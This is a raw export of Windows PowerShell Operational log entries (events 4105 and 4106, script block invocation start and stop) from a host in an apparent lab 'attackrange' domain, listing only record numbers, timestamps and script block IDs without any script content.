SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038217
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038215
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038214
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038197
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038192
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038191
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
